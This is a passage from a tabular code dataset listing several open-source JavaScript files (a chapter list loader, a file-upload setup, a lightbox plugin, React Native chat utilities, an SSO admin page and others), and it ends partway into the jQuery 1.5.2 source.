| code
				 stringlengths 2 1.05M | repo_name
				 stringlengths 5 114 | path
				 stringlengths 4 991 | language
				 stringclasses 1
				value | license
				 stringclasses 15
				values | size
				 int32 2 1.05M | 
|---|---|---|---|---|---|
| 
	$(document).ready(function() {
  getChapterData();
});
function getChapterData() {
  var idBook = $("#idBook").val();
  var bookName = $("#bookName").val();
  $.ajax({
    url: '/chapter/getChapter/',
    type: 'GET',
    dataType: 'json',
    data: {"idBook": idBook}
  })
  .done(function(resp) {
    // console.log(resp);
    if (resp.status == "success") {
      allChapter = resp.message
      var obj = "<div id='allChapter' class='col-md-12 col-sm-12 alert alert-success'>";
      tableObj = "<div class='table-responsive'><table class='table'>" ;
      thObj = "<tr>  <th>章節序號</th> <th>章節名稱</th>  <th>書名</th>  </tr>";
      obj = obj + tableObj + thObj;
      for (var i in allChapter) {
        lineNumber = parseInt(i) + 1
        obj = obj + "<tr>" +  "<td>" + allChapter[i].chapterOrder + "</td>"  + "<td><a class='alink'  href='/content/chapterContent/?idBook=" + idBook + "&chapterOrder=" + allChapter[i].chapterOrder + "&chapterName=" + allChapter[i].name + "&bookName=" + bookName + "'>" + allChapter[i].name + "</a></td><td>" +  allChapter[i].book_name + "</td></tr>";
      }
      obj = obj + "</table></div></div>";
      $("#allChapter").replaceWith(obj);
    }
    else if (resp.status == "fail") {
      var obj = "<div class='box'><div class='box-body' id='allChapter'><div class='col-md-12 col-sm-12'><h4>" + resp.message + "</h4></div></div></div>";
      $("#allChapter").replaceWith(obj);
    }
    else{
      var obj = "<div class='box'><div class='box-body' id='allChapter'><div class='col-md-12 col-sm-12'><h4>" + resp.message + "</h4></div></div></div>";
      $("#allChapter").replaceWith(obj);
    }
  })
  .fail(function(resp) {
    console.log(resp);
  });
}
 | 
	0lidaxiang/WeArt | 
	static/templatesJs/chapter/bookChapter.js | 
	JavaScript | 
	bsd-3-clause | 1,721 | 
| 
	var FormFileUpload = function () {
    return {
        //main function to initiate the module
        init: function () {
             // Initialize the jQuery File Upload widget:
            $('#fileupload').fileupload({
                // Uncomment the following to send cross-domain cookies:
                //xhrFields: {withCredentials: true},                
                url: '/upload/index'
            });
            // Enable iframe cross-domain access via redirect option:
            $('#fileupload').fileupload(
                'option',
                'redirect',
                window.location.href.replace(
                    /\/[^\/]*$/,
                    '/cors/result.html?%s'
                )
            );
            // Demo settings:
            $('#fileupload').fileupload('option', {
                url: $('#fileupload').fileupload('option', 'url'),
                // Enable image resizing, except for Android and Opera,
                // which actually support image resizing, but fail to
                // send Blob objects via XHR requests:
                disableImageResize: /Android(?!.*Chrome)|Opera/
                    .test(window.navigator.userAgent),
                maxFileSize: 5000000,
                acceptFileTypes: /(\.|\/)(gif|jpe?g|png)$/i
            });
                // Upload server status check for browsers with CORS support:
            if ($.support.cors) {
                $.ajax({
                    url: '/upload/index',
                    type: 'POST'
                }).fail(function () {
                    $('<div class="alert alert-danger"/>')
                        .text('Upload server currently unavailable - ' +
                                new Date())
                        .appendTo('#fileupload');
                });
            }
            
            ////////////////////
            // Initialize the jQuery File Upload widget:
            $('#fileupload').fileupload({
                // Uncomment the following to send cross-domain cookies:
                //xhrFields: {withCredentials: true},
                autoUpload: false,
                url: '/upload/index'
            });
            // initialize uniform checkboxes  
            App.initUniform('.fileupload-toggle-checkbox');
        }
    };
}(); | 
	duanduan2288/vr | 
	web/js/form-fileupload.js | 
	JavaScript | 
	bsd-3-clause | 2,326 | 
| 
	var uLightBox={skeleton:'<div id="uLightBoxOverlay" style="display:none" class="opaque"><div id="uLightBox" class="shadow top bottom" style="display:none"><div id="lbHeader" class="top"></div><div id="lbContent"></div><div id="lbFooter" class="bottom"></div></div></div>',settings:{},init:function(opts){uLightBox.settings=opts;$('body').append(uLightBox.skeleton);if(uLightBox.settings.override){$('<script />').attr({type:'text/javascript'}).html("function alert(val){ uLightBox.alert({ title: 'Alert', text: val, rightButtons: ['OK'] }); }").appendTo('head');if(uLightBox.settings.background!="none"&&(uLightBox.settings.background=='white'||uLightBox.settings.background=='black')){$('#uLightBoxOverlay').addClass(uLightBox.settings.background);}
else{$('#uLightBoxOverlay').addClass('none');}}
if(uLightBox.settings.centerOnResize){$(window).bind('resize',function(){uLightBox.resize();});}},alert:function(options){if(uLightBox.isOpen()){return false;}
$('#uLightBox').css({width:options.width});uLightBox.resize();$('#uLightBox #lbHeader').html('<header>'+options.title+'</header>');buttons='';lb=options.leftButtons;rb=options.rightButtons;if(lb){for(var i=(options.leftButtons).length-1;i>=0;i--){buttons+='<input type="button" class="flat" value="'+options.leftButtons[i]+'">';}}
if(rb){for(var i=(options.rightButtons).length-1;i>=0;i--){buttons+='<input type="button" class="flat floatRight" value="'+options.rightButtons[i]+'">';}}
if(!lb&&!rb){buttons+='<input type="button" class="flat floatRight" value="OK">';}
$('#uLightBox #lbFooter').html(buttons);$('#uLightBox #lbContent').html(options.text);uLightBox.listen();if(uLightBox.settings.fade){$('#uLightBoxOverlay').fadeIn();}
else{$('#uLightBoxOverlay').show();}
if(!!window.jQuery.ui){$('#uLightBox').draggable({handle:'#lbHeader',containment:'parent'}).show();}
else{$('#uLightBox').show();}
if(typeof options.opened=='function'){options.opened.call(this);}
if(typeof options.onClick=='function'){uLightBox.onClick=options.onClick;}},isOpen:function(){var open=$('#uLightBox').css('display')=="block";return open;},clear:function(){$('#uLightBoxOverlay').remove();if(uLightBox.settings.fade){$('#uLightBoxOverlay').fadeOut();}
else{$('#uLightBoxOverlay').hide();}
$('body').append(uLightBox.skeleton);uLightBox.resize();},listen:function(){$('#lbFooter input').each(function(){$(this).attr({'id':this.value});});$('#lbFooter input').click(function(){uLightBox.action($(this).val());});},action:function(key){if(key=="Cancel"||key=="Close"||key=="Quit"||key=="Back"||key=="OK"){uLightBox.clear();}
uLightBox.onClick(key);},resize:function(){var lbox=$('#uLightBox');var height=parseInt((lbox.css('height')).replace('px',''));var width=parseInt((lbox.css('width')).replace('px',''));lbox.css({top:($(window).height()/2)- 100+'px',left:($(window).width()- width)/2+'px'});},onClick:function(){},destroy:function(){$('#uLightBoxOverlay').remove();$(window).unbind('resize');}} | 
	daejunpark/jsaf | 
	tests/html_tests/websitesource/82,adf.ly/test_files/jquery.ulightbox.js | 
	JavaScript | 
	bsd-3-clause | 2,943 | 
| 
	/* global Buffer, exports, require */
/* jshint -W097 */
'use strict';
exports['null'] = null;
exports.instantToString = function(i) {
    return new Date(i).toUTCString();
};
exports.instantFromString = function(Left) {
  return function(Right) {
    return function(s) {
      try {
        return Right(Date.parse(s));
      } catch(e) {
        return Left("Date string parsing failed: \"" + s + "\", with: " + e);
      }
    };
  };
};
exports.unsafeIsBuffer = function(x) {
    return x instanceof Buffer;
};
 | 
	rightfold/purescript-postgresql-client | 
	src/Database/PostgreSQL/Value.js | 
	JavaScript | 
	bsd-3-clause | 521 | 
| 
	// @flow
import invariant from 'invariant';
import * as React from 'react';
import Animated from 'react-native-reanimated';
import { useMessageListData } from 'lib/selectors/chat-selectors';
import { messageKey } from 'lib/shared/message-utils';
import { colorIsDark, viewerIsMember } from 'lib/shared/thread-utils';
import type { ThreadInfo } from 'lib/types/thread-types';
import { KeyboardContext } from '../keyboard/keyboard-state';
import { OverlayContext } from '../navigation/overlay-context';
import {
  MultimediaMessageTooltipModalRouteName,
  RobotextMessageTooltipModalRouteName,
  TextMessageTooltipModalRouteName,
} from '../navigation/route-names';
import { useSelector } from '../redux/redux-utils';
import type {
  ChatMessageInfoItemWithHeight,
  ChatMessageItemWithHeight,
  ChatRobotextMessageInfoItemWithHeight,
  ChatTextMessageInfoItemWithHeight,
} from '../types/chat-types';
import type { LayoutCoordinates, VerticalBounds } from '../types/layout-types';
import type { AnimatedViewStyle } from '../types/styles';
import { ChatContext, useHeightMeasurer } from './chat-context';
import { clusterEndHeight } from './composed-message.react';
import { failedSendHeight } from './failed-send.react';
import {
  inlineSidebarHeight,
  inlineSidebarMarginBottom,
  inlineSidebarMarginTop,
} from './inline-sidebar.react';
import { authorNameHeight } from './message-header.react';
import { multimediaMessageItemHeight } from './multimedia-message-utils';
import { getSidebarThreadInfo } from './sidebar-navigation';
import textMessageSendFailed from './text-message-send-failed';
import { timestampHeight } from './timestamp.react';
/* eslint-disable import/no-named-as-default-member */
const {
  Node,
  Extrapolate,
  interpolateNode,
  interpolateColors,
  block,
  call,
  eq,
  cond,
  sub,
} = Animated;
/* eslint-enable import/no-named-as-default-member */
function textMessageItemHeight(
  item: ChatTextMessageInfoItemWithHeight,
): number {
  const { messageInfo, contentHeight, startsCluster, endsCluster } = item;
  const { isViewer } = messageInfo.creator;
  let height = 5 + contentHeight; // 5 from marginBottom in ComposedMessage
  if (!isViewer && startsCluster) {
    height += authorNameHeight;
  }
  if (endsCluster) {
    height += clusterEndHeight;
  }
  if (textMessageSendFailed(item)) {
    height += failedSendHeight;
  }
  if (item.threadCreatedFromMessage) {
    height +=
      inlineSidebarHeight + inlineSidebarMarginTop + inlineSidebarMarginBottom;
  }
  return height;
}
function robotextMessageItemHeight(
  item: ChatRobotextMessageInfoItemWithHeight,
): number {
  if (item.threadCreatedFromMessage) {
    return item.contentHeight + inlineSidebarHeight;
  }
  return item.contentHeight;
}
function messageItemHeight(item: ChatMessageInfoItemWithHeight): number {
  let height = 0;
  if (item.messageShapeType === 'text') {
    height += textMessageItemHeight(item);
  } else if (item.messageShapeType === 'multimedia') {
    height += multimediaMessageItemHeight(item);
  } else {
    height += robotextMessageItemHeight(item);
  }
  if (item.startsConversation) {
    height += timestampHeight;
  }
  return height;
}
function chatMessageItemHeight(item: ChatMessageItemWithHeight): number {
  if (item.itemType === 'loader') {
    return 56;
  }
  return messageItemHeight(item);
}
function useMessageTargetParameters(
  sourceMessage: ChatMessageInfoItemWithHeight,
  initialCoordinates: LayoutCoordinates,
  messageListVerticalBounds: VerticalBounds,
  currentInputBarHeight: number,
  targetInputBarHeight: number,
  sidebarThreadInfo: ?ThreadInfo,
): {
  +position: number,
  +color: string,
} {
  const messageListData = useMessageListData({
    searching: false,
    userInfoInputArray: [],
    threadInfo: sidebarThreadInfo,
  });
  const [
    messagesWithHeight,
    setMessagesWithHeight,
  ] = React.useState<?$ReadOnlyArray<ChatMessageItemWithHeight>>(null);
  const measureMessages = useHeightMeasurer();
  React.useEffect(() => {
    if (messageListData) {
      measureMessages(
        messageListData,
        sidebarThreadInfo,
        setMessagesWithHeight,
      );
    }
  }, [measureMessages, messageListData, sidebarThreadInfo]);
  const sourceMessageID = sourceMessage.messageInfo?.id;
  const targetDistanceFromBottom = React.useMemo(() => {
    if (!messagesWithHeight) {
      return 0;
    }
    let offset = 0;
    for (const message of messagesWithHeight) {
      offset += chatMessageItemHeight(message);
      if (message.messageInfo && message.messageInfo.id === sourceMessageID) {
        return offset;
      }
    }
    return (
      messageListVerticalBounds.height + chatMessageItemHeight(sourceMessage)
    );
  }, [
    messageListVerticalBounds.height,
    messagesWithHeight,
    sourceMessage,
    sourceMessageID,
  ]);
  if (!sidebarThreadInfo) {
    return {
      position: 0,
      color: sourceMessage.threadInfo.color,
    };
  }
  const authorNameComponentHeight = sourceMessage.messageInfo.creator.isViewer
    ? 0
    : authorNameHeight;
  const currentDistanceFromBottom =
    messageListVerticalBounds.height +
    messageListVerticalBounds.y -
    initialCoordinates.y +
    timestampHeight +
    authorNameComponentHeight +
    currentInputBarHeight;
  return {
    position:
      targetDistanceFromBottom +
      targetInputBarHeight -
      currentDistanceFromBottom,
    color: sidebarThreadInfo.color,
  };
}
type AnimatedMessageArgs = {
  +sourceMessage: ChatMessageInfoItemWithHeight,
  +initialCoordinates: LayoutCoordinates,
  +messageListVerticalBounds: VerticalBounds,
  +progress: Node,
  +targetInputBarHeight: ?number,
};
function useAnimatedMessageTooltipButton({
  sourceMessage,
  initialCoordinates,
  messageListVerticalBounds,
  progress,
  targetInputBarHeight,
}: AnimatedMessageArgs): {
  +style: AnimatedViewStyle,
  +threadColorOverride: ?Node,
  +isThreadColorDarkOverride: ?boolean,
} {
  const chatContext = React.useContext(ChatContext);
  invariant(chatContext, 'chatContext should be set');
  const {
    currentTransitionSidebarSourceID,
    setCurrentTransitionSidebarSourceID,
    chatInputBarHeights,
    sidebarAnimationType,
    setSidebarAnimationType,
  } = chatContext;
  const viewerID = useSelector(
    state => state.currentUserInfo && state.currentUserInfo.id,
  );
  const sidebarThreadInfo = React.useMemo(() => {
    return getSidebarThreadInfo(sourceMessage, viewerID);
  }, [sourceMessage, viewerID]);
  const currentInputBarHeight =
    chatInputBarHeights.get(sourceMessage.threadInfo.id) ?? 0;
  const keyboardState = React.useContext(KeyboardContext);
  const viewerIsSidebarMember = viewerIsMember(sidebarThreadInfo);
  React.useEffect(() => {
    const newSidebarAnimationType =
      !currentInputBarHeight ||
      !targetInputBarHeight ||
      keyboardState?.keyboardShowing ||
      !viewerIsSidebarMember
        ? 'fade_source_message'
        : 'move_source_message';
    setSidebarAnimationType(newSidebarAnimationType);
  }, [
    currentInputBarHeight,
    keyboardState?.keyboardShowing,
    setSidebarAnimationType,
    sidebarThreadInfo,
    targetInputBarHeight,
    viewerIsSidebarMember,
  ]);
  const {
    position: targetPosition,
    color: targetColor,
  } = useMessageTargetParameters(
    sourceMessage,
    initialCoordinates,
    messageListVerticalBounds,
    currentInputBarHeight,
    targetInputBarHeight ?? currentInputBarHeight,
    sidebarThreadInfo,
  );
  React.useEffect(() => {
    return () => setCurrentTransitionSidebarSourceID(null);
  }, [setCurrentTransitionSidebarSourceID]);
  const bottom = React.useMemo(
    () =>
      interpolateNode(progress, {
        inputRange: [0.3, 1],
        outputRange: [targetPosition, 0],
        extrapolate: Extrapolate.CLAMP,
      }),
    [progress, targetPosition],
  );
  const [
    isThreadColorDarkOverride,
    setThreadColorDarkOverride,
  ] = React.useState<?boolean>(null);
  const setThreadColorBrightness = React.useCallback(() => {
    const isSourceThreadDark = colorIsDark(sourceMessage.threadInfo.color);
    const isTargetThreadDark = colorIsDark(targetColor);
    if (isSourceThreadDark !== isTargetThreadDark) {
      setThreadColorDarkOverride(isTargetThreadDark);
    }
  }, [sourceMessage.threadInfo.color, targetColor]);
  const threadColorOverride = React.useMemo(() => {
    if (
      sourceMessage.messageShapeType !== 'text' ||
      !currentTransitionSidebarSourceID
    ) {
      return null;
    }
    return block([
      cond(eq(progress, 1), call([], setThreadColorBrightness)),
      interpolateColors(progress, {
        inputRange: [0, 1],
        outputColorRange: [
          `#${targetColor}`,
          `#${sourceMessage.threadInfo.color}`,
        ],
      }),
    ]);
  }, [
    currentTransitionSidebarSourceID,
    progress,
    setThreadColorBrightness,
    sourceMessage.messageShapeType,
    sourceMessage.threadInfo.color,
    targetColor,
  ]);
  const messageContainerStyle = React.useMemo(() => {
    return {
      bottom: currentTransitionSidebarSourceID ? bottom : 0,
      opacity:
        currentTransitionSidebarSourceID &&
        sidebarAnimationType === 'fade_source_message'
          ? 0
          : 1,
    };
  }, [bottom, currentTransitionSidebarSourceID, sidebarAnimationType]);
  return {
    style: messageContainerStyle,
    threadColorOverride,
    isThreadColorDarkOverride,
  };
}
function getMessageTooltipKey(item: ChatMessageInfoItemWithHeight): string {
  return `tooltip|${messageKey(item.messageInfo)}`;
}
function isMessageTooltipKey(key: string): boolean {
  return key.startsWith('tooltip|');
}
function useOverlayPosition(item: ChatMessageInfoItemWithHeight) {
  const overlayContext = React.useContext(OverlayContext);
  invariant(overlayContext, 'should be set');
  for (const overlay of overlayContext.visibleOverlays) {
    if (
      (overlay.routeName === MultimediaMessageTooltipModalRouteName ||
        overlay.routeName === TextMessageTooltipModalRouteName ||
        overlay.routeName === RobotextMessageTooltipModalRouteName) &&
      overlay.routeKey === getMessageTooltipKey(item)
    ) {
      return overlay.position;
    }
  }
  return undefined;
}
function useContentAndHeaderOpacity(
  item: ChatMessageInfoItemWithHeight,
): number | Node {
  const overlayPosition = useOverlayPosition(item);
  const chatContext = React.useContext(ChatContext);
  return React.useMemo(
    () =>
      overlayPosition &&
      chatContext?.sidebarAnimationType === 'move_source_message'
        ? sub(
            1,
            interpolateNode(overlayPosition, {
              inputRange: [0.05, 0.06],
              outputRange: [0, 1],
              extrapolate: Extrapolate.CLAMP,
            }),
          )
        : 1,
    [chatContext?.sidebarAnimationType, overlayPosition],
  );
}
function useDeliveryIconOpacity(
  item: ChatMessageInfoItemWithHeight,
): number | Node {
  const overlayPosition = useOverlayPosition(item);
  const chatContext = React.useContext(ChatContext);
  return React.useMemo(() => {
    if (
      !overlayPosition ||
      !chatContext?.currentTransitionSidebarSourceID ||
      chatContext?.sidebarAnimationType === 'fade_source_message'
    ) {
      return 1;
    }
    return interpolateNode(overlayPosition, {
      inputRange: [0.05, 0.06, 1],
      outputRange: [1, 0, 0],
      extrapolate: Extrapolate.CLAMP,
    });
  }, [
    chatContext?.currentTransitionSidebarSourceID,
    chatContext?.sidebarAnimationType,
    overlayPosition,
  ]);
}
export {
  chatMessageItemHeight,
  useAnimatedMessageTooltipButton,
  messageItemHeight,
  getMessageTooltipKey,
  isMessageTooltipKey,
  useContentAndHeaderOpacity,
  useDeliveryIconOpacity,
};
 | 
	Ashoat/squadcal | 
	native/chat/utils.js | 
	JavaScript | 
	bsd-3-clause | 11,758 | 
| 
	hqDefine('sso/js/edit_identity_provider', [
    'jquery',
    'knockout',
    'underscore',
    'hqwebapp/js/utils/email',
    "hqwebapp/js/initial_page_data",
    'sso/js/models',
], function (
    $,
    ko,
    _,
    emailUtils,
    initialPageData,
    models
) {
    $(function () {
        var emailDomainManager = models.linkedObjectListModel({
            asyncHandler: 'identity_provider_admin',
            requestContext: {
                idpSlug: initialPageData.get('idp_slug'),
            },
            validateNewObjectFn: function (newObject) {
                return newObject.length > 4
                    && newObject.indexOf('.') !== -1
                    && newObject.indexOf('@') === -1
                    && !newObject.endsWith('.');
            },
        });
        $('#email-domain-manager').koApplyBindings(emailDomainManager);
        emailDomainManager.init();
        var ssoExemptUserManager = models.linkedObjectListModel({
            asyncHandler: 'sso_exempt_users_admin',
            requestContext: {
                idpSlug: initialPageData.get('idp_slug'),
            },
            validateNewObjectFn: emailUtils.validateEmail,
        });
        $('#sso-exempt-user-manager').koApplyBindings(ssoExemptUserManager);
        ssoExemptUserManager.init();
    });
});
 | 
	dimagi/commcare-hq | 
	corehq/apps/sso/static/sso/js/edit_identity_provider.js | 
	JavaScript | 
	bsd-3-clause | 1,318 | 
| 
	var searchData=
[
  ['hadoop_5finputfiles',['hadoop_inputfiles',['../namespacehadoop-run.html#aac9abae550160bbf25c42395852a2730',1,'hadoop-run']]],
  ['hadoopbin',['hadoopbin',['../namespacedefs.html#ad28c0fb2d72d62032a25fd7afc3d3332',1,'defs']]],
  ['hadoopcat_5f',['hadoopcat_',['../classhadooputil_1_1_hadoop_interface.html#af9dab589bb0d3352bf79c662b05bdc7a',1,'hadooputil::HadoopInterface']]],
  ['hadoopfs_5f',['hadoopfs_',['../classhadooputil_1_1_hadoop_interface.html#a9bed5f81e0d212ee5aee3a5773b322c9',1,'hadooputil::HadoopInterface']]],
  ['hadoopget_5f',['hadoopget_',['../classhadooputil_1_1_hadoop_interface.html#aaf2550ac3f9b2773632470cfb3bc47ff',1,'hadooputil::HadoopInterface']]],
  ['hadooplibpath_5f',['hadooplibpath_',['../classhadooputil_1_1_hadoop_interface.html#a89be5c343162d881a0fea7983dedc181',1,'hadooputil::HadoopInterface']]],
  ['hadoopmkdir_5f',['hadoopmkdir_',['../classhadooputil_1_1_hadoop_interface.html#a1d5ee8df6509159441eb585309893e23',1,'hadooputil::HadoopInterface']]],
  ['hadoopmove_5f',['hadoopmove_',['../classhadooputil_1_1_hadoop_interface.html#a5754d6ed7d43209ee9cff402bb79cfbf',1,'hadooputil::HadoopInterface']]],
  ['hadoopmr_5f',['hadoopmr_',['../classhadooputil_1_1_hadoop_interface.html#a1cf9db2b607bd7159d0abd20e16f98e8',1,'hadooputil::HadoopInterface']]],
  ['hadoopput_5f',['hadoopput_',['../classhadooputil_1_1_hadoop_interface.html#a873f248f481b62bcfde3e2d65a6e7687',1,'hadooputil::HadoopInterface']]],
  ['hadooprmr_5f',['hadooprmr_',['../classhadooputil_1_1_hadoop_interface.html#abc211f355e6f085d13e0cf0379b2836f',1,'hadooputil::HadoopInterface']]],
  ['hadooproot',['hadooproot',['../namespacehadoop-run.html#af439498523072fc119fa5ed248f399e9',1,'hadoop-run']]],
  ['hadooptest_5f',['hadooptest_',['../classhadooputil_1_1_hadoop_interface.html#a7672c1241563bfeeefe9fcab238ce898',1,'hadooputil::HadoopInterface']]],
  ['hdproc',['hdproc',['../namespacehadoop-run.html#a0147327a948ba744feacf4311d120624',1,'hadoop-run']]],
  ['help',['help',['../namespacehadoop-run.html#a3935d70733fa64c4ad3b0526a8ced2b9',1,'hadoop-run']]]
];
 | 
	dbikel/refr | 
	html/search/variables_68.js | 
	JavaScript | 
	bsd-3-clause | 2,084 | 
| 
	$(document).ready(function() {
$('.boxhover').append('<div class="hover"></div>');
$('.boxhover').hover(
function() {
	$(this).children('div.hover').fadeIn('1000');	
}, 
function() {
	$(this).children('div.hover').fadeOut('1000');	
});
}); | 
	ilhammalik/yii2-cms | 
	frontend/web/script/hoverfade.js | 
	JavaScript | 
	bsd-3-clause | 248 | 
| 
	/*!
 * jQuery JavaScript Library v1.5.2
 * http://jquery.com/
 *
 * Copyright 2011, John Resig
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 * Copyright 2011, The Dojo Foundation
 * Released under the MIT, BSD, and GPL Licenses.
 *
 * Date: Thu Mar 31 15:28:23 2011 -0400
 */
(function( window, undefined ) {
// Use the correct document accordingly with window argument (sandbox)
var document = window.document;
var jQuery = (function() {
// Define a local copy of jQuery
var jQuery = function( selector, context ) {
		// The jQuery object is actually just the init constructor 'enhanced'
		return new jQuery.fn.init( selector, context, rootjQuery );
	},
	// Map over jQuery in case of overwrite
	_jQuery = window.jQuery,
	// Map over the $ in case of overwrite
	_$ = window.$,
	// A central reference to the root jQuery(document)
	rootjQuery,
	// A simple way to check for HTML strings or ID strings
	// (both of which we optimize for)
	quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/,
	// Check if a string has a non-whitespace character in it
	rnotwhite = /\S/,
	// Used for trimming whitespace
	trimLeft = /^\s+/,
	trimRight = /\s+$/,
	// Check for digits
	rdigit = /\d/,
	// Match a standalone tag
	rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/,
	// JSON RegExp
	rvalidchars = /^[\],:{}\s]*$/,
	rvalidescape = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
	rvalidtokens = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
	rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g,
	// Useragent RegExp
	rwebkit = /(webkit)[ \/]([\w.]+)/,
	ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/,
	rmsie = /(msie) ([\w.]+)/,
	rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/,
	// Keep a UserAgent string for use with jQuery.browser
	userAgent = navigator.userAgent,
	// For matching the engine and version of the browser
	browserMatch,
	// The deferred used on DOM ready
	readyList,
	// The ready event handler
	DOMContentLoaded,
	// Save a reference to some core methods
	toString = Object.prototype.toString,
	hasOwn = Object.prototype.hasOwnProperty,
	push = Array.prototype.push,
	slice = Array.prototype.slice,
	trim = String.prototype.trim,
	indexOf = Array.prototype.indexOf,
	// [[Class]] -> type pairs
	class2type = {};
jQuery.fn = jQuery.prototype = {
	constructor: jQuery,
	init: function( selector, context, rootjQuery ) {
		var match, elem, ret, doc;
		// Handle $(""), $(null), or $(undefined)
		if ( !selector ) {
			return this;
		}
		// Handle $(DOMElement)
		if ( selector.nodeType ) {
			this.context = this[0] = selector;
			this.length = 1;
			return this;
		}
		// The body element only exists once, optimize finding it
		if ( selector === "body" && !context && document.body ) {
			this.context = document;
			this[0] = document.body;
			this.selector = "body";
			this.length = 1;
			return this;
		}
		// Handle HTML strings
		if ( typeof selector === "string" ) {
			// Are we dealing with HTML string or an ID?
			match = quickExpr.exec( selector );
			// Verify a match, and that no context was specified for #id
			if ( match && (match[1] || !context) ) {
				// HANDLE: $(html) -> $(array)
				if ( match[1] ) {
					context = context instanceof jQuery ? context[0] : context;
					doc = (context ? context.ownerDocument || context : document);
					// If a single string is passed in and it's a single tag
					// just do a createElement and skip the rest
					ret = rsingleTag.exec( selector );
					if ( ret ) {
						if ( jQuery.isPlainObject( context ) ) {
							selector = [ document.createElement( ret[1] ) ];
							jQuery.fn.attr.call( selector, context, true );
						} else {
							selector = [ doc.createElement( ret[1] ) ];
						}
					} else {
						ret = jQuery.buildFragment( [ match[1] ], [ doc ] );
						selector = (ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment).childNodes;
					}
					return jQuery.merge( this, selector );
				// HANDLE: $("#id")
				} else {
					elem = document.getElementById( match[2] );
					// Check parentNode to catch when Blackberry 4.6 returns
					// nodes that are no longer in the document #6963
					if ( elem && elem.parentNode ) {
						// Handle the case where IE and Opera return items
						// by name instead of ID
						if ( elem.id !== match[2] ) {
							return rootjQuery.find( selector );
						}
						// Otherwise, we inject the element directly into the jQuery object
						this.length = 1;
						this[0] = elem;
					}
					this.context = document;
					this.selector = selector;
					return this;
				}
			// HANDLE: $(expr, $(...))
			} else if ( !context || context.jquery ) {
				return (context || rootjQuery).find( selector );
			// HANDLE: $(expr, context)
			// (which is just equivalent to: $(context).find(expr)
			} else {
				return this.constructor( context ).find( selector );
			}
		// HANDLE: $(function)
		// Shortcut for document ready
		} else if ( jQuery.isFunction( selector ) ) {
			return rootjQuery.ready( selector );
		}
		if (selector.selector !== undefined) {
			this.selector = selector.selector;
			this.context = selector.context;
		}
		return jQuery.makeArray( selector, this );
	},
	// Start with an empty selector
	selector: "",
	// The current version of jQuery being used
	jquery: "1.5.2",
	// The default length of a jQuery object is 0
	length: 0,
	// The number of elements contained in the matched element set
	size: function() {
		return this.length;
	},
	toArray: function() {
		return slice.call( this, 0 );
	},
	// Get the Nth element in the matched element set OR
	// Get the whole matched element set as a clean array
	get: function( num ) {
		return num == null ?
			// Return a 'clean' array
			this.toArray() :
			// Return just the object
			( num < 0 ? this[ this.length + num ] : this[ num ] );
	},
	// Take an array of elements and push it onto the stack
	// (returning the new matched element set)
	pushStack: function( elems, name, selector ) {
		// Build a new jQuery matched element set
		var ret = this.constructor();
		if ( jQuery.isArray( elems ) ) {
			push.apply( ret, elems );
		} else {
			jQuery.merge( ret, elems );
		}
		// Add the old object onto the stack (as a reference)
		ret.prevObject = this;
		ret.context = this.context;
		if ( name === "find" ) {
			ret.selector = this.selector + (this.selector ? " " : "") + selector;
		} else if ( name ) {
			ret.selector = this.selector + "." + name + "(" + selector + ")";
		}
		// Return the newly-formed element set
		return ret;
	},
	// Execute a callback for every element in the matched set.
	// (You can seed the arguments with an array of args, but this is
	// only used internally.)
	each: function( callback, args ) {
		return jQuery.each( this, callback, args );
	},
	ready: function( fn ) {
		// Attach the listeners
		jQuery.bindReady();
		// Add the callback
		readyList.done( fn );
		return this;
	},
	eq: function( i ) {
		return i === -1 ?
			this.slice( i ) :
			this.slice( i, +i + 1 );
	},
	first: function() {
		return this.eq( 0 );
	},
	last: function() {
		return this.eq( -1 );
	},
	slice: function() {
		return this.pushStack( slice.apply( this, arguments ),
			"slice", slice.call(arguments).join(",") );
	},
	map: function( callback ) {
		return this.pushStack( jQuery.map(this, function( elem, i ) {
			return callback.call( elem, i, elem );
		}));
	},
	end: function() {
		return this.prevObject || this.constructor(null);
	},
	// For internal use only.
	// Behaves like an Array's method, not like a jQuery method.
	push: push,
	sort: [].sort,
	splice: [].splice
};
// Give the init function the jQuery prototype for later instantiation
jQuery.fn.init.prototype = jQuery.fn;
jQuery.extend = jQuery.fn.extend = function() {
	var options, name, src, copy, copyIsArray, clone,
		target = arguments[0] || {},
		i = 1,
		length = arguments.length,
		deep = false;
	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;
		target = arguments[1] || {};
		// skip the boolean and the target
		i = 2;
	}
	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
		target = {};
	}
	// extend jQuery itself if only one argument is passed
	if ( length === i ) {
		target = this;
		--i;
	}
	for ( ; i < length; i++ ) {
		// Only deal with non-null/undefined values
		if ( (options = arguments[ i ]) != null ) {
			// Extend the base object
			for ( name in options ) {
				src = target[ name ];
				copy = options[ name ];
				// Prevent never-ending loop
				if ( target === copy ) {
					continue;
				}
				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
					if ( copyIsArray ) {
						copyIsArray = false;
						clone = src && jQuery.isArray(src) ? src : [];
					} else {
						clone = src && jQuery.isPlainObject(src) ? src : {};
					}
					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );
				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}
	// Return the modified object
	return target;
};
jQuery.extend({
	noConflict: function( deep ) {
		window.$ = _$;
		if ( deep ) {
			window.jQuery = _jQuery;
		}
		return jQuery;
	},
	// Is the DOM ready to be used? Set to true once it occurs.
	isReady: false,
	// A counter to track how many items to wait for before
	// the ready event fires. See #6781
	readyWait: 1,
	// Handle when the DOM is ready
	ready: function( wait ) {
		// A third-party is pushing the ready event forwards
		if ( wait === true ) {
			jQuery.readyWait--;
		}
		// Make sure that the DOM is not already loaded
		if ( !jQuery.readyWait || (wait !== true && !jQuery.isReady) ) {
